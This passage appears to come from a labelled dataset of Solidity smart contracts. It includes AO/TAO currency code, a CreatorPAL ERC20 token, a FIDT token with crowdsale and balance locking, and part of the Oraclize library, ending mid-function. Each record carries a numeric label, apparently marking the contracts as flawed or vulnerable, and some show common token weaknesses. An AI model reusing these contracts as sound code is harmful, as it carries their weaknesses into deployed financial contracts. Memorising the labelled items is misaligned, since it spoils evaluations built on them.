uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public powerOfTen;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name;
symbol = _symbol;
powerOfTen = 0;
decimals = 0;
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
function mint(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mint(target, mintedAmount);
return true;
}
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {
require(balanceOf[_from] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) >= balanceOf[_to]);
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
contract LogosYotta is TAOCurrency {
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress)
TAOCurrency(_name, _symbol, _nameTAOPositionAddress) public {
powerOfTen = 24;
decimals = 24;
}
} | 1 | 4,593 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CreatorPAL is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CreatorPAL() public {
symbol = "CPAL";
name = "CreatorPAL";
decimals = 8;
_totalSupply = 7000000000000000;
balances[0x10b24ecc01aad305b1f051be963fb9005164c9b1] = _totalSupply;
Transfer(address(0), 0x10b24ecc01aad305b1f051be963fb9005164c9b1, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,244 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FIDT is StandardToken, BurnableToken, Ownable {
string public constant name = "FilmIndustryToken";
string public constant symbol = "FIDT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(address => uint256) public balanceLocked;
mapping(address => uint256) public freeAtTime;
uint public amountRaised;
uint256 public buyPrice = 5000;
bool public crowdsaleClosed;
bool public transferEnabled = true;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _lock(address _owner) internal {
balanceLocked[_owner] = balances[_owner];
freeAtTime[_owner] = now + 360 days;
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value);
require (balances[_to] + _value > balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
_lock(_to);
emit Transfer(_from, _to, _value);
}
function setPrice( uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function closeBuy(bool closebuy) onlyOwner public {
crowdsaleClosed = closebuy;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ;
amountRaised = amountRaised.add(amount);
_transfer(owner, msg.sender, amount.mul(buyPrice));
owner.transfer(amount);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
function enableTransfer(bool _enable) onlyOwner external {
transferEnabled = _enable;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transferEnabled);
require(checkLocked(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transferEnabled);
require(checkLocked(msg.sender, _value));
return super.transfer(_to, _value);
}
function transferEx(address _to, uint256 _value) onlyOwner public returns (bool) {
return super.transfer(_to, _value);
}
function lockAddress( address[] _addr ) onlyOwner external {
for (uint i = 0; i < _addr.length; i++) {
_lock(_addr[i]);
}
}
function unlockAddress( address[] _addr ) onlyOwner external {
for (uint i = 0; i < _addr.length; i++) {
balanceLocked[_addr[i]] = 0;
}
}
function getFreeBalances( address _addr ) public view returns(uint) {
if (balanceLocked[_addr] > 0) {
if (now > freeAtTime[_addr] ) {
return balances[_addr];
} else {
return balances[_addr] - balanceLocked[_addr] / 10 * 5 ;
}
}
return balances[_addr];
}
function checkLocked(address _addr, uint256 _value) internal view returns (bool) {
if (balanceLocked[_addr] > 0) {
if (now > freeAtTime[_addr] ) {
return true;
} else {
return (balances[_addr] - _value >= balanceLocked[_addr] / 10 * 5 );
}
}
return true;
}
} | 1 | 3,351 |
pragma solidity 0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
